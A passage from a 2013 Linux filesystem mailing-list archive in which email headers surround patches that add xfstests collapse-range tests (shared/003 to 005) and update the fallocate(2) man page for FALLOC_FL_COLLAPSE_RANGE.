X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This testcase(003) tries to test various corner cases with pre-existing holes for fcollapse range functionality over different type of extents. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- tests/shared/003 | 65 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/003.out | 53 ++++++++++++++++++++++++++++++++++++++++ tests/shared/group | 1 + 3 files changed, 119 insertions(+) create mode 100755 tests/shared/003 create mode 100644 tests/shared/003.out diff --git a/tests/shared/003 b/tests/shared/003 new file mode 100755 index 0000000..7b7f2df --- /dev/null +++ b/tests/shared/003 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. 3 +# +# Multi collapse range tests +# This testcase is one of the 4 testcases (shared 001 - 004) which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch -k falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/shared/003.out b/tests/shared/003.out new file mode 100644 index 0000000..545304e --- /dev/null +++ b/tests/shared/003.out @@ -0,0 +1,53 @@ +QA output created by 003 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f07217d5ac7ffa15dd8910c4aa912674 + 4. hole -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 5. hole -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 10. hole -> data -> hole +0: [0..31]: extent +1: [32..63]: hole +76cc863b386460b228a493933813a6a0 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +76cc863b386460b228a493933813a6a0 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +fallocate: Invalid argument +0: [0..159]: extent +7670f4830c6724a25e7c22d9eb9a6f4f + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/group b/tests/shared/group index 7230b28..9226032 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -5,6 +5,7 @@ # 001 auto prealloc 002 auto prealloc +003 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:01:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 884847F94 for ; Sun, 8 Dec 2013 08:01:42 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 782DF304043 for ; Sun, 8 Dec 2013 06:01:42 -0800 (PST) X-ASG-Debug-ID: 1386511298-04cb6c537c5f8bd0001-NocioJ Received: from mail-pb0-f50.google.com (mail-pb0-f50.google.com [209.85.160.50]) by cuda.sgi.com with ESMTP id vXseCO1n1lHQIEts (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:01:38 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.50 Received: by mail-pb0-f50.google.com with SMTP id rr13so3764272pbb.23 for ; Sun, 08 Dec 2013 06:01:38 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=Mr/SaK5zfhyw2E7+2a1pGcf+aoJNXfR+gf8467NXW7s=; b=q+IZBJ7/u1UsSZTMei1AUAH3BK9ixy0FPFFek8LfykNbdztbE+77aITxO6dpLFbzM2 CtlFzOw5I7Snut+2YFFvaH2ORBUpHiHard16zXDnJdCXTGjo7pHoz0taww3J52j3XuGi 0BolBJLdUq/e79r3Okud2HUfib7PYFG8RAs2YD7aYqWM4jd0EmvuFHkTFIMdLlQEoDGP BfJ3NN6HVBhBNoyjpcTxe8R+hle6WHJxljg887FYkE8NKFhAjm/GtMroxVhoqpVwL0th pwFj1fo2TnW8q3A5lNHTl6RjHT16zkne+PAc6vqkKqR0yuDX/LabdRequofEYdtRQJVk fY2Q== X-Barracuda-BBL-IP: nil X-Received: by 10.68.204.193 with SMTP id la1mr2789328pbc.159.1386511297949; Sun, 08 Dec 2013 06:01:37 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id y9sm15477514pas.10.2013.12.08.06.01.35 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:01:37 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, dchinner@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 8/10] xfstest: shared/004: Delayed allocation multi collapse Date: Sun, 8 Dec 2013 23:01:30 +0900 X-ASG-Orig-Subj: [PATCH v4 8/10] xfstest: shared/004: Delayed allocation multi collapse Message-Id: <1386511290-3523-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f50.google.com[209.85.160.50] X-Barracuda-Start-Time: 1386511298 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This testcase(004) tries to test various corner cases with delayed extents and pre-existing holes for fcollapse range functionality over different type of extents. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- tests/shared/004 | 65 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/004.out | 53 ++++++++++++++++++++++++++++++++++++++++ tests/shared/group | 1 + 3 files changed, 119 insertions(+) create mode 100755 tests/shared/004 create mode 100644 tests/shared/004.out diff --git a/tests/shared/004 b/tests/shared/004 new file mode 100755 index 0000000..5902b9f --- /dev/null +++ b/tests/shared/004 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. 4 +# +# Delayed allocation multi collapse range tests +# This testcase is one of the 4 testcases (shared 001 - 004) which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch -d -k falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/shared/004.out b/tests/shared/004.out new file mode 100644 index 0000000..a7d0f52 --- /dev/null +++ b/tests/shared/004.out @@ -0,0 +1,53 @@ +QA output created by 004 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f07217d5ac7ffa15dd8910c4aa912674 + 4. hole -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 5. hole -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 10. hole -> data -> hole +0: [0..31]: extent +1: [32..63]: hole +76cc863b386460b228a493933813a6a0 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +76cc863b386460b228a493933813a6a0 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +fallocate: Invalid argument +0: [0..159]: extent +7670f4830c6724a25e7c22d9eb9a6f4f + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/group b/tests/shared/group index 9226032..fb1d6d0 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -6,6 +6,7 @@ 001 auto prealloc 002 auto prealloc 003 auto prealloc +004 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:01:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2BB517F94 for ; Sun, 8 Dec 2013 08:01:56 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id F3B0C304062 for ; Sun, 8 Dec 2013 06:01:55 -0800 (PST) X-ASG-Debug-ID: 1386511311-04bdf01323101be0001-NocioJ Received: from mail-pd0-f175.google.com (mail-pd0-f175.google.com [209.85.192.175]) by cuda.sgi.com with ESMTP id HAUEl6qy8uhGepGl (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:01:51 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.175 Received: by mail-pd0-f175.google.com with SMTP id w10so3637161pde.20 for ; Sun, 08 Dec 2013 06:01:51 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=VD4UBB+s3bw+JsB456jsdCH7ASBZkia5f5XtmFcCMfY=; b=FawKtDza1RCZlgfTRpSC44hvJc905BNkThRszB/SM17nntoQSidQLugv6splzivXDD M3HntZPCxQmzO+KgJvbh8n6tNvF3cw97FRnDg5Ieb0gDy8bjarD1E/w0m5r/PxKqzmNF IO64TkKdAJGPw5stsAtZBHgl/F6sFa1wxPz9+tL8ocJKKW5iE992vgEnZC+6R7fvNAZz Z+Hyw/trfhxBkeJHOJRkp7OtSFP+DthnPkhvnzan5XJDw4FGMHhWmXMTgos8N2q04JJc 45IO+NJCH1/T/W/vywDYS7k872BIP8cNJ6jOTl4UWuH6W9lm48GV/uWazWMOIHspHodF nbaA== X-Barracuda-BBL-IP: nil X-Received: by 10.68.217.194 with SMTP id pa2mr15363207pbc.1.1386511311599; Sun, 08 Dec 2013 06:01:51 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id nn6sm11151963pbc.29.2013.12.08.06.01.48 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:01:51 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, dchinner@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 9/10] xfstest: shared/005: Test multiple fallocate collapse Date: Sun, 8 Dec 2013 23:01:44 +0900 X-ASG-Orig-Subj: [PATCH v4 9/10] xfstest: shared/005: Test multiple fallocate collapse Message-Id: <1386511304-3557-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f175.google.com[209.85.192.175] X-Barracuda-Start-Time: 1386511311 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon We execute collapse range multiple times on same file. Each collapse range call collapses a single alternate block. After the test execution, file will be left with 80 blocks and as much number of extents. We also check for file system consistency after the completion. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- tests/shared/005 | 90 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/005.out | 4 +++ tests/shared/group | 1 + 3 files changed, 95 insertions(+) create mode 100644 tests/shared/005 create mode 100644 tests/shared/005.out diff --git a/tests/shared/005 b/tests/shared/005 new file mode 100644 index 0000000..1347e7f --- /dev/null +++ b/tests/shared/005 @@ -0,0 +1,90 @@ +#! /bin/bash +# FS QA Test No. 5 +# +# Test multiple fallocate collapse range calls on same file. +# For different blocksizes, collapse a single alternate block multiple times +# until the file is left with 80 blocks and as much number of extents. +# Also check for file system consistency after completing this operation +# for each blocksize. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_scratch +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse +_do_die_on_error=y +testfile=$SCRATCH_MNT/$seq.$$ +BLOCKS=10240 + +for (( BSIZE = 1024; BSIZE <= 4096; BSIZE *= 2 )); do + + length=$(($BLOCKS * $BSIZE)) + case $FSTYP in + xfs) + _scratch_mkfs -b size=$BSIZE >> $seqres.full 2>&1 + ;; + ext4) + _scratch_mkfs -b $BSIZE >> $seqres.full 2>&1 + ;; + esac + _scratch_mount >> $seqres.full 2>&1 + + # Write file + $XFS_IO_PROG -f -c "pwrite 0 $length" -c fsync $testfile > /dev/null + + # Collapse alternate blocks + for (( i = 1; i <= 7; i++ )); do + for (( j=0; j < $(($BLOCKS/(2**$i))); j++ )); do + offset=$(($j*$BSIZE)) + $XFS_IO_PROG -c "fcollapse $offset $BSIZE" $testfile > /dev/null + done + done + + # Check if 80 extents are present + $XFS_IO_PROG -c "fiemap -v" $testfile | grep "^ *[0-9]*:" |wc -l + + _check_scratch_fs + if [ $? -ne 0 ]; then + status=1 + exit + fi + + umount $SCRATCH_MNT +done + +# success, all done +status=0 +exit diff --git a/tests/shared/005.out b/tests/shared/005.out new file mode 100644 index 0000000..8d30b9d --- /dev/null +++ b/tests/shared/005.out @@ -0,0 +1,4 @@ +QA output created by 005 +80 +80 +80 diff --git a/tests/shared/group b/tests/shared/group index fb1d6d0..22f1d3a 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -7,6 +7,7 @@ 002 auto prealloc 003 auto prealloc 004 auto prealloc +005 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:02:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BA68E7F94 for ; Sun, 8 Dec 2013 08:02:22 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 58441AC001 for ; Sun, 8 Dec 2013 06:02:22 -0800 (PST) X-ASG-Debug-ID: 1386511334-04bdf01321101c50001-NocioJ Received: from mail-pd0-f181.google.com (mail-pd0-f181.google.com [209.85.192.181]) by cuda.sgi.com with ESMTP id 39yDFIHP2OpDFdrJ (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:02:16 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.181 Received: by mail-pd0-f181.google.com with SMTP id p10so3621326pdj.40 for ; Sun, 08 Dec 2013 06:02:14 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=AyfEVRbHFhrND/oRpm7NTn3/5chkaA+3C3Go8Rch0tM=; b=RA1UNqNSkF1uakd/Kyk289Z8NhS0zi3r7a/9X3SvGExAeYOPfTkQc8T5nK86fVPSvw YxcgSwbhGE6KK8GlXAk3zdcYFXKyR6l/hiO/ugozrR0gQgT+pnkpDAyPuq1k37f0dgww AlUA2KKEsCaEK9R20l/YzTBarEPlFvy7oPpbj0zSN3geySaVFWcW7o6iVfN5jetZ5xFI rBFLY8MsJZGlUh861bAnOJxUYFCz2NQyAQgynH5dRPG8GB2qiLxIupHcjV6OwY4FE/PY pJih540hCu4OGDqls9zMl7UT0AD7yv8CPaG6iJ6P0nJwJHtTtc3FSTwi5QxMbH6IGwoq rxtA== X-Barracuda-BBL-IP: nil X-Received: by 10.66.136.131 with SMTP id qa3mr15280680pab.77.1386511334255; Sun, 08 Dec 2013 06:02:14 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id og5sm11171942pbb.10.2013.12.08.06.02.11 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:02:13 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, dchinner@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 10/10] manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate Date: Sun, 8 Dec 2013 23:02:06 +0900 X-ASG-Orig-Subj: [PATCH v4 10/10] manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate Message-Id: <1386511326-3601-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f181.google.com[209.85.192.181] X-Barracuda-Start-Time: 1386511336 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Update FALLOC_FL_COLLAPSE_RANGE flag in fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- man2/fallocate.2 | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/man2/fallocate.2 b/man2/fallocate.2 index ec9011c..69a4dbd 100644 --- a/man2/fallocate.2 +++ b/man2/fallocate.2 @@ -1,5 +1,6 @@ .\" Copyright (c) 2007 Silicon Graphics, Inc. All Rights Reserved .\" Written by Dave Chinner +.\" Updated by Namjae Jeon .\" .\" %%%LICENSE_START(GPLv2_ONELINE) .\" May be distributed as per GNU General Public License version 2. @@ -7,6 +8,7 @@ .\" .\" 2011-09-19: Added FALLOC_FL_PUNCH_HOLE .\" 2011-09-19: Substantial restructuring of the page +.\" 2013-11-10: Added FALLOC_FL_COLLAPSE_RANGE .\" .TH FALLOCATE 2 2013-11-08 "Linux" "Linux Programmer's Manual" .SH NAME @@ -113,6 +115,25 @@ does not change. Not all filesystems support .BR FALLOC_FL_PUNCH_HOLE ; if a filesystem doesn't support the operation, an error is returned. +.SS Collapsing file space +Specifiying the +.BR FALLOC_FL_COLLAPSE_RANGE +flag in +.I mode +collpse space in the byte range starting at +.I offset +and continuing for +.I len +bytes. Within the specified range, it first de-allocates blocks and eliminates +the hole created in this process by shifting data blocks into the hole. + +Different filesystem may implement different limitatios on the granularity of +the operation. Most filesystem will limit operations to filesystem block size +boundaries, but this boundary may be larger or smaller depending +on the filesystem and/or the configuration of the filesystem or file. + +If filesystem has such limitation on granularity, It will return error(EINVAL). + .SH RETURN VALUE On success, .BR fallocate () -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:05:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 843767F94 for ; Sun, 8 Dec 2013 08:05:41 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 12214AC001 for ; Sun, 8 Dec 2013 06:05:41 -0800 (PST) X-ASG-Debug-ID: 1386511539-04cb6c537e5f8e50001-NocioJ Received: from mail-pb0-f43.google.com (mail-pb0-f43.google.com [209.85.160.43]) by cuda.sgi.com with ESMTP id m11KjCxPm03eJhEq (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:05:39 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.43 Received: by mail-pb0-f43.google.com with SMTP id rq2so3787081pbb.30 for ; Sun, 08 Dec 2013 06:05:39 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=P/C1/7LQtUoszBkJEFsKATYIcZaB1KlH+tFSM/AsXPE=; b=eJkfMclOLIQJkUfMn/bdRjnZvA8Y9EcM5vdIcygkd/zGc2TPj6KMspoAkgIFN2D+VX vpB7EXXgm3ldKrzf4j5YprPG5Ce/iy7U5ZasifAfbo7HmevQt3y4cD0W+1SU3xdNX2v4 Lk6SFPDzHvGkW9nWJ6nQKFBHRBfgslKe+g30e5VxEM9HYn2ORBZgsf4Q8H1OZcXF5/RA 2TXU0EApGtylFuDaLRB39sbNYqlqeWbXC+mZKQOFksw+1fJozEa8LlDVnI7XNRfcS8tZ vJfhn3OqcZxDCp2K/8IwBOXGd0c+j/o8X6JlDDH7RKWqfQ7CHkOOL1DcQm1tfADaQqVa Me3g== X-Barracuda-BBL-IP: nil X-Received: by 10.68.178.197 with SMTP id da5mr15446085pbc.28.1386511539378; Sun, 08 Dec 2013 06:05:39 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id sx8sm8650659pab.5.2013.12.08.06.05.36 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:05:38 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon Subject: [PATCH v4 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Date: Sun, 8 Dec 2013 23:05:05 +0900 X-ASG-Orig-Subj: 